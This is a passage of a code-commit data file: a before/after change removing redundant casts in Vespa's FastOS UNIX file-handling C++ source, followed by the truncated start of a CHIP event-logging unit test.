{"text":"<commit_before>\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\/**\n******************************************************************************\n* @author  Oivind H. Danielsen\n* @date    Creation date: 2000-01-18\n* @file\n* Implementation of FastOS_UNIX_File methods.\n*****************************************************************************\/\n\n#include <vespa\/fastos\/file.h>\n#include <sys\/vfs.h>\n#include <sstream>\n#include <stdexcept>\n\nbool\nFastOS_UNIX_File::SetPosition(int64_t desiredPosition)\n{\n    int64_t position = lseek(_filedes, desiredPosition, SEEK_SET);\n\n    return (position == desiredPosition);\n}\n\n\nint64_t\nFastOS_UNIX_File::GetPosition(void)\n{\n    return lseek(_filedes, 0, SEEK_CUR);\n}\n\n\nbool\nFastOS_UNIX_File::Stat(const char *filename, FastOS_StatInfo *statInfo)\n{\n    bool rc = false;\n\n    struct stat stbuf;\n    int lstatres;\n\n    do {\n        lstatres = lstat(filename, &stbuf);\n    } while (lstatres == -1 && errno == EINTR);\n    if (lstatres == 0) {\n        statInfo->_error = FastOS_StatInfo::Ok;\n        statInfo->_isRegular = S_ISREG(stbuf.st_mode);\n        statInfo->_isDirectory = S_ISDIR(stbuf.st_mode);\n        statInfo->_size = static_cast<int64_t>(stbuf.st_size);\n        statInfo->_modifiedTime = stbuf.st_mtime;\n        statInfo->_modifiedTimeNS = stbuf.st_mtim.tv_sec;\n        statInfo->_modifiedTimeNS *= 1000000000;\n        statInfo->_modifiedTimeNS += stbuf.st_mtim.tv_nsec;\n        rc = true;\n    } else {\n        if (errno == ENOENT) {\n            statInfo->_error = FastOS_StatInfo::FileNotFound;\n        } else {\n            statInfo->_error = FastOS_StatInfo::Unknown;\n        }\n    }\n\n    return rc;\n}\n\n\nint FastOS_UNIX_File::GetMaximumFilenameLength (const char *pathName)\n{\n    return pathconf(pathName, _PC_NAME_MAX);\n}\n\nint FastOS_UNIX_File::GetMaximumPathLength(const char *pathName)\n{\n    return pathconf(pathName, _PC_PATH_MAX);\n}\n\nbool\nFastOS_UNIX_File::MakeDirectory (const char *name)\n{\n    return (mkdir(name, 0775) == 0);\n}\n\n\nvoid\nFastOS_UNIX_File::RemoveDirectory (const char *name)\n{\n    if ((rmdir(name) != 0) && (ERR_ENOENT != GetLastError())) {\n        std::ostringstream os;\n        os << \"Remove of directory '\" << name << \"' failed with error :'\" << getLastErrorString() << \"'\";\n        throw std::runtime_error(os.str());\n    }\n}\n\n\nstd::string\nFastOS_UNIX_File::getCurrentDirectory(void)\n{\n    std::string res;\n    int maxPathLen = FastOS_File::GetMaximumPathLength(\".\");\n    if (maxPathLen == -1) {\n        maxPathLen = 16384;\n    } else if (maxPathLen < 512) {\n        maxPathLen = 512;\n    }\n\n    char *currentDir = new char [maxPathLen + 1];\n\n    if (getcwd(currentDir, maxPathLen) != nullptr) {\n        res = currentDir;\n    }\n    delete [] currentDir;\n\n    return res;\n}\n\n\nunsigned int\nFastOS_UNIX_File::CalcAccessFlags(unsigned int openFlags)\n{\n    unsigned int accessFlags=0;\n\n    if ((openFlags & (FASTOS_FILE_OPEN_READ | FASTOS_FILE_OPEN_DIRECTIO)) != 0) {\n        if ((openFlags & FASTOS_FILE_OPEN_WRITE) != 0) {\n            \/\/ Open for reading and writing\n            accessFlags = O_RDWR;\n        } else {\n            \/\/ Open for reading only\n            accessFlags = O_RDONLY;\n        }\n    } else {\n        \/\/ Open for writing only\n        accessFlags = O_WRONLY;\n    }\n\n    if (((openFlags & FASTOS_FILE_OPEN_EXISTING) == 0) && ((openFlags & FASTOS_FILE_OPEN_WRITE) != 0)) {\n        \/\/ Create file if it does not exist\n        accessFlags |= O_CREAT;\n    }\n\n#if defined(O_SYNC)\n    if ((openFlags & FASTOS_FILE_OPEN_SYNCWRITES) != 0)\n        accessFlags |= O_SYNC;\n#elif defined(O_FSYNC)\n    if ((openFlags & FASTOS_FILE_OPEN_SYNCWRITES) != 0)\n        accessFlags |= O_FSYNC;\n#endif\n\n    if ((openFlags & FASTOS_FILE_OPEN_DIRECTIO) != 0) {\n        accessFlags |= O_DIRECT | O_DSYNC | O_RSYNC;\n    }\n\n    if ((openFlags & FASTOS_FILE_OPEN_TRUNCATE) != 0) {\n        \/\/ Truncate file on open\n        accessFlags |= O_TRUNC;\n    }\n    return accessFlags;\n}\n\nconstexpr int SUPPORTED_MMAP_FLAGS = ~MAP_HUGETLB;\n\nbool\nFastOS_UNIX_File::Open(unsigned int openFlags, const char *filename)\n{\n    bool rc = false;\n    assert(_filedes == -1);\n\n    if ((openFlags & FASTOS_FILE_OPEN_STDFLAGS) != 0) {\n        FILE *file;\n\n        switch(openFlags & FASTOS_FILE_OPEN_STDFLAGS) {\n        case FASTOS_FILE_OPEN_STDIN:\n            file = stdin;\n            SetFileName(\"stdin\");\n            break;\n\n        case FASTOS_FILE_OPEN_STDOUT:\n            file = stdout;\n            SetFileName(\"stdout\");\n            break;\n\n        case FASTOS_FILE_OPEN_STDERR:\n            file = stderr;\n            SetFileName(\"stderr\");\n            break;\n\n        default:\n            file = nullptr;\n            fprintf(stderr, \"Invalid open-flags %08X\\n\", openFlags);\n            abort();\n        }\n\n        _filedes = file->_fileno;\n        _openFlags = openFlags;\n        rc = true;\n    } else {\n        if (filename != nullptr) {\n            SetFileName(filename);\n        }\n        unsigned int accessFlags = CalcAccessFlags(openFlags);\n\n        _filedes = open(_filename, accessFlags, 0664);\n\n        rc = (_filedes != -1);\n\n        if (rc) {\n            _openFlags = openFlags;\n            if (_mmapEnabled) {\n                int64_t filesize = GetSize();\n                size_t mlen = static_cast<size_t>(filesize);\n                if ((static_cast<int64_t>(mlen) == filesize) && (mlen > 0)) {\n                    void *mbase = mmap(nullptr, mlen, PROT_READ, MAP_SHARED | _mmapFlags, _filedes, static_cast<off_t>(0));\n                    if (static_cast<void *>(mbase) == reinterpret_cast<void *>(-1)) {\n                        mbase = mmap(nullptr, mlen, PROT_READ, MAP_SHARED | (_mmapFlags & SUPPORTED_MMAP_FLAGS), _filedes, static_cast<off_t>(0));\n                    }\n                    if (static_cast<void *>(mbase) != reinterpret_cast<void *>(-1)) {\n                        int fadviseOptions = getFAdviseOptions();\n                        int eCode(0);\n                        if (POSIX_FADV_RANDOM == fadviseOptions) {\n                            eCode = posix_madvise(mbase, mlen, POSIX_MADV_RANDOM);\n                        } else if (POSIX_FADV_SEQUENTIAL == fadviseOptions) {\n                            eCode = posix_madvise(mbase, mlen, POSIX_MADV_SEQUENTIAL);\n                        }\n                        if (eCode != 0) {\n                            fprintf(stderr, \"Failed: posix_madvise(%p, %ld, %d) = %d\\n\", mbase, mlen, fadviseOptions, eCode);\n                        }\n                        _mmapbase = mbase;\n                        _mmaplen = mlen;\n                    } else {\n                        close(_filedes);\n                        _filedes = -1;\n                        std::ostringstream os;\n                        os << \"mmap of file '\" << GetFileName() << \"' with flags '\" << std::hex << (MAP_SHARED | _mmapFlags) << std::dec\n                           << \"' failed with error :'\" << getErrorString(GetLastOSError()) << \"'\";\n                        throw std::runtime_error(os.str());\n                    }\n                }\n            }\n        }\n\n    }\n\n    return rc;\n}\n\nvoid FastOS_UNIX_File::dropFromCache() const\n{\n    posix_fadvise(_filedes, 0, 0, POSIX_FADV_DONTNEED);\n}\n\n\nbool\nFastOS_UNIX_File::Close(void)\n{\n    bool ok = true;\n\n    if (_filedes >= 0) {\n        if ((_openFlags & FASTOS_FILE_OPEN_STDFLAGS) != 0) {\n            ok = true;\n        } else {\n            do {\n                ok = (close(_filedes) == 0);\n            } while (!ok && errno == EINTR);\n        }\n\n        if (_mmapbase != nullptr) {\n            madvise(_mmapbase, _mmaplen, MADV_DONTNEED);\n            munmap(static_cast<char *>(_mmapbase), _mmaplen);\n            _mmapbase = nullptr;\n            _mmaplen = 0;\n        }\n\n        _filedes = -1;\n    }\n\n    _openFlags = 0;\n\n    return ok;\n}\n\n\nint64_t\nFastOS_UNIX_File::GetSize(void)\n{\n    int64_t fileSize=-1;\n    struct stat stbuf;\n\n    assert(IsOpened());\n\n    int res = fstat(_filedes, &stbuf);\n\n    if (res == 0) {\n        fileSize = stbuf.st_size;\n    }\n\n    return fileSize;\n}\n\n\ntime_t\nFastOS_UNIX_File::GetModificationTime(void)\n{\n    struct stat stbuf;\n    int res;\n\n    assert(IsOpened());\n\n    res = fstat(_filedes, &stbuf);\n    assert(res == 0);\n    (void) res;\n\n    return stbuf.st_mtime;\n}\n\n\nbool\nFastOS_UNIX_File::Delete(const char *name)\n{\n    return (unlink(name) == 0);\n}\n\n\nbool\nFastOS_UNIX_File::Delete(void)\n{\n    assert(!IsOpened());\n    assert(_filename != nullptr);\n\n    return (unlink(_filename) == 0);\n}\n\nbool FastOS_UNIX_File::Rename (const char *currentFileName, const char *newFileName)\n{\n    bool rc = false;\n\n    \/\/ Enforce documentation. If the destination file exists,\n    \/\/ fail Rename.\n    FastOS_StatInfo statInfo;\n    if (!FastOS_File::Stat(newFileName, &statInfo)) {\n        rc = (rename(currentFileName, newFileName) == 0);\n    } else {\n        errno = EEXIST;\n    }\n    return rc;\n}\n\nbool\nFastOS_UNIX_File::Sync(void)\n{\n    assert(IsOpened());\n\n    return (fsync(_filedes) == 0);\n}\n\n\nbool\nFastOS_UNIX_File::SetSize(int64_t newSize)\n{\n    bool rc = false;\n\n    if (ftruncate(_filedes, static_cast<off_t>(newSize)) == 0) {\n        rc = SetPosition(newSize);\n    }\n\n    return rc;\n}\n\n\nFastOS_File::Error\nFastOS_UNIX_File::TranslateError (const int osError)\n{\n    switch(osError) {\n    case ENOENT:     return ERR_NOENT;      \/\/ No such file or directory\n    case ENOMEM:     return ERR_NOMEM;      \/\/ Not enough memory\n    case EACCES:     return ERR_ACCES;      \/\/ Permission denied\n    case EEXIST:     return ERR_EXIST;      \/\/ File exists\n    case EINVAL:     return ERR_INVAL;      \/\/ Invalid argument\n    case ENOSPC:     return ERR_NOSPC;      \/\/ No space left on device\n    case EINTR:      return ERR_INTR;       \/\/ interrupt\n    case EAGAIN:     return ERR_AGAIN;      \/\/ Resource unavailable, try again\n    case EBUSY:      return ERR_BUSY;       \/\/ Device or resource busy\n    case EIO:        return ERR_IO;         \/\/ I\/O error\n    case EPERM:      return ERR_PERM;       \/\/ Not owner\n    case ENODEV:     return ERR_NODEV;      \/\/ No such device\n    case ENXIO:      return ERR_NXIO;       \/\/ Device not configured\n    }\n\n    if (osError == FASTOS_ENFILE_VERIFIED)\n        return ERR_NFILE;\n\n    if (osError == FASTOS_EMFILE_VERIFIED)\n        return ERR_MFILE;\n\n    return ERR_UNKNOWN;\n}\n\n\nstd::string\nFastOS_UNIX_File::getErrorString(const int osError)\n{\n    char errorBuf[100];\n    const char *errorString = strerror_r(osError, errorBuf, sizeof(errorBuf));\n\n    return std::string(errorString);\n}\n\n\nint64_t FastOS_UNIX_File::GetFreeDiskSpace (const char *path)\n{\n    int64_t freeSpace = -1;\n\n    struct statfs statBuf;\n    int statVal = -1;\n    statVal = statfs(path, &statBuf);\n    if (statVal == 0) {\n        freeSpace = int64_t(statBuf.f_bavail) * int64_t(statBuf.f_bsize);\n    }\n\n    return freeSpace;\n}\n\nFastOS_UNIX_DirectoryScan::FastOS_UNIX_DirectoryScan(const char *searchPath)\n    : FastOS_DirectoryScanInterface(searchPath),\n      _statRun(false),\n      _isDirectory(false),\n      _isRegular(false),\n      _statName(nullptr),\n      _statFilenameP(nullptr),\n      _dir(nullptr),\n      _dp(nullptr)\n{\n    _dir = opendir(searchPath);\n\n    const int minimumLength = 512 + 1;\n    const int defaultLength = 16384;\n\n    int maxNameLength = FastOS_File::GetMaximumFilenameLength(searchPath);\n    int maxPathLength = FastOS_File::GetMaximumPathLength(searchPath);\n    int nameLength = maxNameLength + 1 + maxPathLength;\n\n    if ((maxNameLength == -1) ||\n       (maxPathLength == -1) ||\n       (nameLength < minimumLength))\n    {\n        nameLength = defaultLength;\n    }\n\n    _statName = new char [nameLength + 1];  \/\/ Include null\n\n    strcpy(_statName, searchPath);\n    strcat(_statName, \"\/\");\n\n    _statFilenameP = &_statName[strlen(_statName)];\n}\n\n\nFastOS_UNIX_DirectoryScan::~FastOS_UNIX_DirectoryScan(void)\n{\n    if (_dir != nullptr) {\n        closedir(_dir);\n        _dir = nullptr;\n    }\n    delete [] _statName;\n}\n\n\nbool\nFastOS_UNIX_DirectoryScan::ReadNext(void)\n{\n    bool rc = false;\n\n    _statRun = false;\n\n    if (_dir != nullptr) {\n        _dp = readdir(_dir);\n        rc = _dp != nullptr;\n    }\n\n    return rc;\n}\n\n\nvoid\nFastOS_UNIX_DirectoryScan::DoStat(void)\n{\n    struct stat stbuf;\n\n    assert(_dp != nullptr);\n\n    strcpy(_statFilenameP, _dp->d_name);\n\n    if (lstat(_statName, &stbuf) == 0) {\n        _isRegular = S_ISREG(stbuf.st_mode);\n        _isDirectory = S_ISDIR(stbuf.st_mode);\n    } else {\n        printf(\"lstat failed for [%s]\\n\", _dp->d_name);\n        _isRegular = false;\n        _isDirectory = false;\n    }\n\n    _statRun = true;\n}\n\n\nbool\nFastOS_UNIX_DirectoryScan::IsDirectory(void)\n{\n    if (!_statRun) {\n        DoStat();\n    }\n\n    return _isDirectory;\n}\n\n\nbool\nFastOS_UNIX_DirectoryScan::IsRegular(void)\n{\n    if (!_statRun) {\n        DoStat();\n    }\n\n    return _isRegular;\n}\n\n\nconst char *\nFastOS_UNIX_DirectoryScan::GetName(void)\n{\n    assert(_dp != nullptr);\n\n    return static_cast<const char *>(_dp->d_name);\n}\n\n\nbool\nFastOS_UNIX_DirectoryScan::IsValidScan(void) const\n{\n    return _dir != nullptr;\n}\n<commit_msg>Less us not overdo the casting ...<commit_after>\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\/**\n******************************************************************************\n* @author  Oivind H. Danielsen\n* @date    Creation date: 2000-01-18\n* @file\n* Implementation of FastOS_UNIX_File methods.\n*****************************************************************************\/\n\n#include <vespa\/fastos\/file.h>\n#include <sys\/vfs.h>\n#include <sstream>\n#include <stdexcept>\n\nbool\nFastOS_UNIX_File::SetPosition(int64_t desiredPosition)\n{\n    int64_t position = lseek(_filedes, desiredPosition, SEEK_SET);\n\n    return (position == desiredPosition);\n}\n\n\nint64_t\nFastOS_UNIX_File::GetPosition(void)\n{\n    return lseek(_filedes, 0, SEEK_CUR);\n}\n\n\nbool\nFastOS_UNIX_File::Stat(const char *filename, FastOS_StatInfo *statInfo)\n{\n    bool rc = false;\n\n    struct stat stbuf;\n    int lstatres;\n\n    do {\n        lstatres = lstat(filename, &stbuf);\n    } while (lstatres == -1 && errno == EINTR);\n    if (lstatres == 0) {\n        statInfo->_error = FastOS_StatInfo::Ok;\n        statInfo->_isRegular = S_ISREG(stbuf.st_mode);\n        statInfo->_isDirectory = S_ISDIR(stbuf.st_mode);\n        statInfo->_size = static_cast<int64_t>(stbuf.st_size);\n        statInfo->_modifiedTime = stbuf.st_mtime;\n        statInfo->_modifiedTimeNS = stbuf.st_mtim.tv_sec;\n        statInfo->_modifiedTimeNS *= 1000000000;\n        statInfo->_modifiedTimeNS += stbuf.st_mtim.tv_nsec;\n        rc = true;\n    } else {\n        if (errno == ENOENT) {\n            statInfo->_error = FastOS_StatInfo::FileNotFound;\n        } else {\n            statInfo->_error = FastOS_StatInfo::Unknown;\n        }\n    }\n\n    return rc;\n}\n\n\nint FastOS_UNIX_File::GetMaximumFilenameLength (const char *pathName)\n{\n    return pathconf(pathName, _PC_NAME_MAX);\n}\n\nint FastOS_UNIX_File::GetMaximumPathLength(const char *pathName)\n{\n    return pathconf(pathName, _PC_PATH_MAX);\n}\n\nbool\nFastOS_UNIX_File::MakeDirectory (const char *name)\n{\n    return (mkdir(name, 0775) == 0);\n}\n\n\nvoid\nFastOS_UNIX_File::RemoveDirectory (const char *name)\n{\n    if ((rmdir(name) != 0) && (ERR_ENOENT != GetLastError())) {\n        std::ostringstream os;\n        os << \"Remove of directory '\" << name << \"' failed with error :'\" << getLastErrorString() << \"'\";\n        throw std::runtime_error(os.str());\n    }\n}\n\n\nstd::string\nFastOS_UNIX_File::getCurrentDirectory(void)\n{\n    std::string res;\n    int maxPathLen = FastOS_File::GetMaximumPathLength(\".\");\n    if (maxPathLen == -1) {\n        maxPathLen = 16384;\n    } else if (maxPathLen < 512) {\n        maxPathLen = 512;\n    }\n\n    char *currentDir = new char [maxPathLen + 1];\n\n    if (getcwd(currentDir, maxPathLen) != nullptr) {\n        res = currentDir;\n    }\n    delete [] currentDir;\n\n    return res;\n}\n\n\nunsigned int\nFastOS_UNIX_File::CalcAccessFlags(unsigned int openFlags)\n{\n    unsigned int accessFlags=0;\n\n    if ((openFlags & (FASTOS_FILE_OPEN_READ | FASTOS_FILE_OPEN_DIRECTIO)) != 0) {\n        if ((openFlags & FASTOS_FILE_OPEN_WRITE) != 0) {\n            \/\/ Open for reading and writing\n            accessFlags = O_RDWR;\n        } else {\n            \/\/ Open for reading only\n            accessFlags = O_RDONLY;\n        }\n    } else {\n        \/\/ Open for writing only\n        accessFlags = O_WRONLY;\n    }\n\n    if (((openFlags & FASTOS_FILE_OPEN_EXISTING) == 0) && ((openFlags & FASTOS_FILE_OPEN_WRITE) != 0)) {\n        \/\/ Create file if it does not exist\n        accessFlags |= O_CREAT;\n    }\n\n#if defined(O_SYNC)\n    if ((openFlags & FASTOS_FILE_OPEN_SYNCWRITES) != 0)\n        accessFlags |= O_SYNC;\n#elif defined(O_FSYNC)\n    if ((openFlags & FASTOS_FILE_OPEN_SYNCWRITES) != 0)\n        accessFlags |= O_FSYNC;\n#endif\n\n    if ((openFlags & FASTOS_FILE_OPEN_DIRECTIO) != 0) {\n        accessFlags |= O_DIRECT | O_DSYNC | O_RSYNC;\n    }\n\n    if ((openFlags & FASTOS_FILE_OPEN_TRUNCATE) != 0) {\n        \/\/ Truncate file on open\n        accessFlags |= O_TRUNC;\n    }\n    return accessFlags;\n}\n\nconstexpr int SUPPORTED_MMAP_FLAGS = ~MAP_HUGETLB;\n\nbool\nFastOS_UNIX_File::Open(unsigned int openFlags, const char *filename)\n{\n    bool rc = false;\n    assert(_filedes == -1);\n\n    if ((openFlags & FASTOS_FILE_OPEN_STDFLAGS) != 0) {\n        FILE *file;\n\n        switch(openFlags & FASTOS_FILE_OPEN_STDFLAGS) {\n        case FASTOS_FILE_OPEN_STDIN:\n            file = stdin;\n            SetFileName(\"stdin\");\n            break;\n\n        case FASTOS_FILE_OPEN_STDOUT:\n            file = stdout;\n            SetFileName(\"stdout\");\n            break;\n\n        case FASTOS_FILE_OPEN_STDERR:\n            file = stderr;\n            SetFileName(\"stderr\");\n            break;\n\n        default:\n            file = nullptr;\n            fprintf(stderr, \"Invalid open-flags %08X\\n\", openFlags);\n            abort();\n        }\n\n        _filedes = file->_fileno;\n        _openFlags = openFlags;\n        rc = true;\n    } else {\n        if (filename != nullptr) {\n            SetFileName(filename);\n        }\n        unsigned int accessFlags = CalcAccessFlags(openFlags);\n\n        _filedes = open(_filename, accessFlags, 0664);\n\n        rc = (_filedes != -1);\n\n        if (rc) {\n            _openFlags = openFlags;\n            if (_mmapEnabled) {\n                int64_t filesize = GetSize();\n                size_t mlen = static_cast<size_t>(filesize);\n                if ((static_cast<int64_t>(mlen) == filesize) && (mlen > 0)) {\n                    void *mbase = mmap(nullptr, mlen, PROT_READ, MAP_SHARED | _mmapFlags, _filedes, 0);\n                    if (mbase == reinterpret_cast<void *>(-1)) {\n                        mbase = mmap(nullptr, mlen, PROT_READ, MAP_SHARED | (_mmapFlags & SUPPORTED_MMAP_FLAGS), _filedes, 0);\n                    }\n                    if (mbase != reinterpret_cast<void *>(-1)) {\n                        int fadviseOptions = getFAdviseOptions();\n                        int eCode(0);\n                        if (POSIX_FADV_RANDOM == fadviseOptions) {\n                            eCode = posix_madvise(mbase, mlen, POSIX_MADV_RANDOM);\n                        } else if (POSIX_FADV_SEQUENTIAL == fadviseOptions) {\n                            eCode = posix_madvise(mbase, mlen, POSIX_MADV_SEQUENTIAL);\n                        }\n                        if (eCode != 0) {\n                            fprintf(stderr, \"Failed: posix_madvise(%p, %ld, %d) = %d\\n\", mbase, mlen, fadviseOptions, eCode);\n                        }\n                        _mmapbase = mbase;\n                        _mmaplen = mlen;\n                    } else {\n                        close(_filedes);\n                        _filedes = -1;\n                        std::ostringstream os;\n                        os << \"mmap of file '\" << GetFileName() << \"' with flags '\" << std::hex << (MAP_SHARED | _mmapFlags) << std::dec\n                           << \"' failed with error :'\" << getErrorString(GetLastOSError()) << \"'\";\n                        throw std::runtime_error(os.str());\n                    }\n                }\n            }\n        }\n\n    }\n\n    return rc;\n}\n\nvoid FastOS_UNIX_File::dropFromCache() const\n{\n    posix_fadvise(_filedes, 0, 0, POSIX_FADV_DONTNEED);\n}\n\n\nbool\nFastOS_UNIX_File::Close(void)\n{\n    bool ok = true;\n\n    if (_filedes >= 0) {\n        if ((_openFlags & FASTOS_FILE_OPEN_STDFLAGS) != 0) {\n            ok = true;\n        } else {\n            do {\n                ok = (close(_filedes) == 0);\n            } while (!ok && errno == EINTR);\n        }\n\n        if (_mmapbase != nullptr) {\n            madvise(_mmapbase, _mmaplen, MADV_DONTNEED);\n            munmap(static_cast<char *>(_mmapbase), _mmaplen);\n            _mmapbase = nullptr;\n            _mmaplen = 0;\n        }\n\n        _filedes = -1;\n    }\n\n    _openFlags = 0;\n\n    return ok;\n}\n\n\nint64_t\nFastOS_UNIX_File::GetSize(void)\n{\n    int64_t fileSize=-1;\n    struct stat stbuf;\n\n    assert(IsOpened());\n\n    int res = fstat(_filedes, &stbuf);\n\n    if (res == 0) {\n        fileSize = stbuf.st_size;\n    }\n\n    return fileSize;\n}\n\n\ntime_t\nFastOS_UNIX_File::GetModificationTime(void)\n{\n    struct stat stbuf;\n    int res;\n\n    assert(IsOpened());\n\n    res = fstat(_filedes, &stbuf);\n    assert(res == 0);\n    (void) res;\n\n    return stbuf.st_mtime;\n}\n\n\nbool\nFastOS_UNIX_File::Delete(const char *name)\n{\n    return (unlink(name) == 0);\n}\n\n\nbool\nFastOS_UNIX_File::Delete(void)\n{\n    assert(!IsOpened());\n    assert(_filename != nullptr);\n\n    return (unlink(_filename) == 0);\n}\n\nbool FastOS_UNIX_File::Rename (const char *currentFileName, const char *newFileName)\n{\n    bool rc = false;\n\n    \/\/ Enforce documentation. If the destination file exists,\n    \/\/ fail Rename.\n    FastOS_StatInfo statInfo;\n    if (!FastOS_File::Stat(newFileName, &statInfo)) {\n        rc = (rename(currentFileName, newFileName) == 0);\n    } else {\n        errno = EEXIST;\n    }\n    return rc;\n}\n\nbool\nFastOS_UNIX_File::Sync(void)\n{\n    assert(IsOpened());\n\n    return (fsync(_filedes) == 0);\n}\n\n\nbool\nFastOS_UNIX_File::SetSize(int64_t newSize)\n{\n    bool rc = false;\n\n    if (ftruncate(_filedes, static_cast<off_t>(newSize)) == 0) {\n        rc = SetPosition(newSize);\n    }\n\n    return rc;\n}\n\n\nFastOS_File::Error\nFastOS_UNIX_File::TranslateError (const int osError)\n{\n    switch(osError) {\n    case ENOENT:     return ERR_NOENT;      \/\/ No such file or directory\n    case ENOMEM:     return ERR_NOMEM;      \/\/ Not enough memory\n    case EACCES:     return ERR_ACCES;      \/\/ Permission denied\n    case EEXIST:     return ERR_EXIST;      \/\/ File exists\n    case EINVAL:     return ERR_INVAL;      \/\/ Invalid argument\n    case ENOSPC:     return ERR_NOSPC;      \/\/ No space left on device\n    case EINTR:      return ERR_INTR;       \/\/ interrupt\n    case EAGAIN:     return ERR_AGAIN;      \/\/ Resource unavailable, try again\n    case EBUSY:      return ERR_BUSY;       \/\/ Device or resource busy\n    case EIO:        return ERR_IO;         \/\/ I\/O error\n    case EPERM:      return ERR_PERM;       \/\/ Not owner\n    case ENODEV:     return ERR_NODEV;      \/\/ No such device\n    case ENXIO:      return ERR_NXIO;       \/\/ Device not configured\n    }\n\n    if (osError == FASTOS_ENFILE_VERIFIED)\n        return ERR_NFILE;\n\n    if (osError == FASTOS_EMFILE_VERIFIED)\n        return ERR_MFILE;\n\n    return ERR_UNKNOWN;\n}\n\n\nstd::string\nFastOS_UNIX_File::getErrorString(const int osError)\n{\n    char errorBuf[100];\n    const char *errorString = strerror_r(osError, errorBuf, sizeof(errorBuf));\n\n    return std::string(errorString);\n}\n\n\nint64_t FastOS_UNIX_File::GetFreeDiskSpace (const char *path)\n{\n    int64_t freeSpace = -1;\n\n    struct statfs statBuf;\n    int statVal = -1;\n    statVal = statfs(path, &statBuf);\n    if (statVal == 0) {\n        freeSpace = int64_t(statBuf.f_bavail) * int64_t(statBuf.f_bsize);\n    }\n\n    return freeSpace;\n}\n\nFastOS_UNIX_DirectoryScan::FastOS_UNIX_DirectoryScan(const char *searchPath)\n    : FastOS_DirectoryScanInterface(searchPath),\n      _statRun(false),\n      _isDirectory(false),\n      _isRegular(false),\n      _statName(nullptr),\n      _statFilenameP(nullptr),\n      _dir(nullptr),\n      _dp(nullptr)\n{\n    _dir = opendir(searchPath);\n\n    const int minimumLength = 512 + 1;\n    const int defaultLength = 16384;\n\n    int maxNameLength = FastOS_File::GetMaximumFilenameLength(searchPath);\n    int maxPathLength = FastOS_File::GetMaximumPathLength(searchPath);\n    int nameLength = maxNameLength + 1 + maxPathLength;\n\n    if ((maxNameLength == -1) ||\n       (maxPathLength == -1) ||\n       (nameLength < minimumLength))\n    {\n        nameLength = defaultLength;\n    }\n\n    _statName = new char [nameLength + 1];  \/\/ Include null\n\n    strcpy(_statName, searchPath);\n    strcat(_statName, \"\/\");\n\n    _statFilenameP = &_statName[strlen(_statName)];\n}\n\n\nFastOS_UNIX_DirectoryScan::~FastOS_UNIX_DirectoryScan(void)\n{\n    if (_dir != nullptr) {\n        closedir(_dir);\n        _dir = nullptr;\n    }\n    delete [] _statName;\n}\n\n\nbool\nFastOS_UNIX_DirectoryScan::ReadNext(void)\n{\n    bool rc = false;\n\n    _statRun = false;\n\n    if (_dir != nullptr) {\n        _dp = readdir(_dir);\n        rc = _dp != nullptr;\n    }\n\n    return rc;\n}\n\n\nvoid\nFastOS_UNIX_DirectoryScan::DoStat(void)\n{\n    struct stat stbuf;\n\n    assert(_dp != nullptr);\n\n    strcpy(_statFilenameP, _dp->d_name);\n\n    if (lstat(_statName, &stbuf) == 0) {\n        _isRegular = S_ISREG(stbuf.st_mode);\n        _isDirectory = S_ISDIR(stbuf.st_mode);\n    } else {\n        printf(\"lstat failed for [%s]\\n\", _dp->d_name);\n        _isRegular = false;\n        _isDirectory = false;\n    }\n\n    _statRun = true;\n}\n\n\nbool\nFastOS_UNIX_DirectoryScan::IsDirectory(void)\n{\n    if (!_statRun) {\n        DoStat();\n    }\n\n    return _isDirectory;\n}\n\n\nbool\nFastOS_UNIX_DirectoryScan::IsRegular(void)\n{\n    if (!_statRun) {\n        DoStat();\n    }\n\n    return _isRegular;\n}\n\n\nconst char *\nFastOS_UNIX_DirectoryScan::GetName(void)\n{\n    assert(_dp != nullptr);\n\n    return static_cast<const char *>(_dp->d_name);\n}\n\n\nbool\nFastOS_UNIX_DirectoryScan::IsValidScan(void) const\n{\n    return _dir != nullptr;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *\n *    Copyright (c) 2022 Project CHIP Authors\n *    All rights reserved.\n *\n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n *\n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License.\n *\/\n\n\/**\n *    @file\n *      This file implements a test for  CHIP Interaction Model Event logging\n *\n *\/\n\n#include <app\/ClusterInfo.h>\n#include <app\/EventLoggingDelegate.h>\n#include <app\/EventLoggingTypes.h>\n#include <app\/EventManagement.h>\n#include <app\/InteractionModelEngine.h>\n#include <app\/tests\/AppTestContext.h>\n#include <lib\/core\/CHIPCore.h>\n#include <lib\/core\/CHIPTLV.h>\n#include <lib\/core\/CHIPTLVDebug.hpp>\n#include <lib\/core\/CHIPTLVUtilities.hpp>\n#include <lib\/support\/EnforceFormat.h>\n#include <lib\/support\/ErrorStr.h>\n#include <lib\/support\/UnitTestRegistration.h>\n#include <lib\/support\/logging\/Constants.h>\n#include <messaging\/ExchangeContext.h>\n#include <messaging\/Flags.h>\n#include <platform\/CHIPDeviceLayer.h>\n#include <system\/TLVPacketBufferBackingStore.h>\n\n#include <nlunit-test.h>\n\nnamespace {\n\nstatic uint8_t gDebugEventBuffer[2048];\nstatic uint8_t gInfoEventBuffer[2048];\nstatic uint8_t gCritEventBuffer[2048];\nstatic chip::app::CircularEventBuffer gCircularEventBuffer[3];\n\nclass TestContext : public chip::Test::AppContext\n{\npublic:\n    static int InitializeAsync(void * context)\n    {\n        if (AppContext::InitializeAsync(context) != SUCCESS)\n            return FAILURE;\n\n        auto * ctx = static_cast<TestContext *>(context);\n\n        chip::app::LogStorageResources logStorageResources[] = {\n            { &gDebugEventBuffer[0], sizeof(gDebugEventBuffer), chip::app::PriorityLevel::Debug },\n            { &gInfoEventBuffer[0], sizeof(gInfoEventBuffer), chip::app::PriorityLevel::Info },\n            { &gCritEventBuffer[0], sizeof(gCritEventBuffer), chip::app::PriorityLevel::Critical },\n        };\n\n        chip::app::EventManagement::CreateEventManagement(&ctx->GetExchangeManager(),\n                                                          sizeof(logStorageResources) \/ sizeof(logStorageResources[0]),\n                                                          gCircularEventBuffer, logStorageResources, nullptr, 0, nullptr);\n\n        return SUCCESS;\n    }\n\n    static int 